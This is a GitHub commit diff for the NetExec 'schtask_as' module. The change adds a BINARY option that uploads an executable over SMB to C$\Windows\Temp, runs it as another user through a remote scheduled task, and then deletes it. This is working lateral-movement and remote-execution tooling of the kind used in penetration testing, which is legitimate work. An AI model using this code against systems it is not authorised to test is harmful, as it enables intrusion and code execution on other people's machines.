Skip to content

Commit 1022137

Browse files
author
Aurélien CHALOT
committed
Upgrade the schtask_as module so that we can upload binaries and then execute them
1 parent 6a2874e commit 1022137

1 file changed

Lines changed: 42 additions & 4 deletions

File tree

nxc/modules/schtask_as.py

Lines changed: 42 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
1-
import contextlib
21
import os
2+
import contextlib
33
from time import sleep
44
from datetime import datetime, timedelta
55
from impacket.dcerpc.v5.dtypes import NULL
@@ -13,20 +13,31 @@ class NXCModule:
1313
"""
1414
Execute a scheduled task remotely as a already connected user by @Defte_
1515
Thanks @Shad0wC0ntr0ller for the idea of removing the hardcoded date that could be used as an IOC
16+
Modified by @Defte_ so that output on multiples lines are printed correctly (28/04/2025)
17+
Modified by @Defte_ so that we can upload a custom binary to execute using the BINARY option (28/04/2025)
1618
"""
1719

1820
def options(self, context, module_options):
1921
r"""
22+
BINARY Upload the binary to be executed by CMD
2023
CMD Command to execute
2124
USER User to execute command as
2225
TASK OPTIONAL: Set a name for the scheduled task name
2326
FILE OPTIONAL: Set a name for the command output file
2427
LOCATION OPTIONAL: Set a location for the command output file (e.g. '\tmp\')
2528
"""
26-
self.cmd = self.user = self.task = self.file = self.location = self.time = None
29+
30+
self.cmd = self.binary = self.user = self.task = self.file = self.location = self.time = None
31+
self.share = "C$"
32+
self.tmp_dir = "C:\\Windows\\Temp\\"
33+
self.tmp_share = self.tmp_dir.split(":")[1]
34+
2735
if "CMD" in module_options:
2836
self.cmd = module_options["CMD"]
2937

38+
if "BINARY" in module_options:
39+
self.binary = module_options["BINARY"]
40+
3041
if "USER" in module_options:
3142
self.user = module_options["USER"]
3243

@@ -47,13 +58,32 @@ def options(self, context, module_options):
4758

4859
def on_admin_login(self, context, connection):
4960
self.logger = context.log
61+
5062
if self.cmd is None:
5163
self.logger.fail("You need to specify a CMD to run")
5264
return 1
65+
5366
if self.user is None:
5467
self.logger.fail("You need to specify a USER to run the command as")
5568
return 1
56-
69+
70+
if self.binary:
71+
if not os.path.isfile(self.binary):
72+
self.logger.fail(f"Cannot find {self.binary}")
73+
return 1
74+
else:
75+
self.logger.display(f"Uploading {self.binary}")
76+
with open(self.binary, "rb") as binary_to_upload:
77+
try:
78+
self.binary_name = os.path.basename(self.binary)
79+
connection.conn.putFile(self.share, f"{self.tmp_share}{self.binary_name}", binary_to_upload.read)
80+
self.logger.success(f"Binary {self.binary_name} successfully uploaded in {self.tmp_share}{self.binary_name}")
81+
except Exception as e:
82+
self.logger.fail(f"Error writing file to share {self.tmp_share}: {e}")
83+
return 1
84+
85+
# Returnes self.cmd or \Windows\temp\BinToExecute.exe depending if BINARY=BinToExecute.exe
86+
self.cmd = self.cmd if not self.binary else f"{self.tmp_share}{self.cmd}"
5787
self.logger.display("Connecting to the remote Service control endpoint")
5888
try:
5989
exec_method = TSCH_EXEC(
@@ -87,7 +117,8 @@ def on_admin_login(self, context, connection):
87117
# Required to decode specific French characters otherwise it'll print b"<result>"
88118
output = output.decode("cp437")
89119
if output:
90-
self.logger.highlight(output)
120+
for line in output.splitlines():
121+
self.logger.highlight(line.strip())
91122

92123
except Exception as e:
93124
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
@@ -96,6 +127,13 @@ def on_admin_login(self, context, connection):
96127
exec_method.deleteartifact()
97128
else:
98129
self.logger.fail(f"Failed to execute command: {e}")
130+
finally:
131+
if self.binary:
132+
try:
133+
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.binary_name}")
134+
context.log.success(f"Binary {self.binary_name} successfully deleted")
135+
except Exception as e:
136+
context.log.fail(f"Error deleting {self.binary_name} on {self.share}: {e}")
99137

100138

101139
class TSCH_EXEC:

0 commit comments

Comments
 (0)